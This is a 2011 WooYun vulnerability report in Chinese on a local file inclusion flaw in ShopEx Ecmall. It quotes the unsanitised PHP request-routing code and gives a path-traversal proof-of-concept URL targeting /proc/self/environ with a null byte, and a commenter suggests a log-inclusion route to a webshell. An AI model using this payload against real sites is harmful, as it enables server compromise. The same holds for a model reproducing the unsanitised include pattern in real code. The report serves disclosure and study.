当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(10) 关注此漏洞

缺陷编号: WooYun-2011-02515

漏洞标题: Ecmall全版本本地文件包含漏洞

相关厂商: ShopEx

漏洞作者: 路人甲

提交时间: 2011-07-18 00:32

公开时间: 2011-08-17 03:00

漏洞类型: 文件包含

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 文件包含漏洞 白盒测试 文件包含漏洞利用

0人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-07-18: 细节已通知厂商并且等待厂商处理中
2011-07-21: 厂商已经确认,细节仅向厂商公开
2011-07-24: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2011-09-14: 细节向核心白帽子及相关领域专家公开
2011-09-24: 细节向普通白帽子公开
2011-10-04: 细节向实习白帽子公开
2011-08-17: 细节向公众公开

简要描述:

Ecmall的默认处理中犯了一个严重的错误,绕开了系统中的保护逻辑从而导致可以包含任意文件以php代码执行

详细说明:

eccore/ecmall.php内

code 区域
if (!get_magic_quotes_gpc())
{
$_GET = addslashes_deep($_GET);
$_POST = addslashes_deep($_POST);
$_COOKIE= addslashes_deep($_COOKIE);
}

/* 请求转发 */
$default_app = $config['default_app'] ? $config['default_app'] : 'default';
$default_act = $config['default_act'] ? $config['default_act'] : 'index';

$app = isset($_REQUEST['app']) ? trim($_REQUEST['app']) : $default_app;
$act = isset($_REQUEST['act']) ? trim($_REQUEST['act']) : $default_act;
$app_file = $config['app_root'] . "/{$app}.app.php";
if (!is_file($app_file))
{
exit('Missing controller');
}



貌似是考虑到GPC对程序的影响所以进行了强制保护,但是REQUEST的内容却缺乏保护,导致可以包含代码执行



漏洞证明:

code 区域
**.**.**.**/index.php?app=../../../../../../../../../proc/self/environ%00**.**.**.**

修复方案:

不需要啊不需要

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2011-07-21 14:29

厂商回复:

谢谢辛苦 我们下次一定会主意的~

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2011-07-18 12:02 | pestu ( 普通白帽子 | Rank:170 漏洞数:13 | 关注计算机网络安全 lnmpa技术)
    2

    包含apache日志可获得一个webshell?

  2. 2011-07-19 18:18 | 但丁 ( 路人 | 还没有发布任何漏洞 | 比較懶 沒什麽好介紹的)
    2

    做等公開

  3. 2011-07-20 16:17 | 阿神 ( 实习白帽子 | Rank:33 漏洞数:4 | 值得。)
    3

    js/calendar.php 不会是这个吧。。。

  4. 2011-07-21 14:59 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    2

    厂商会挑时间

  5. 2011-07-21 15:31 | Vi0lent ( 普通白帽子 | Rank:131 漏洞数:14 | hello~)
    2

    求公开

  6. 2011-08-04 12:36 | Frears ( 路人 | Rank:13 漏洞数:2 | 无证程序员)
    2

    去年就发现了。还有好多XSS

登录后才能发表评论,请先 登录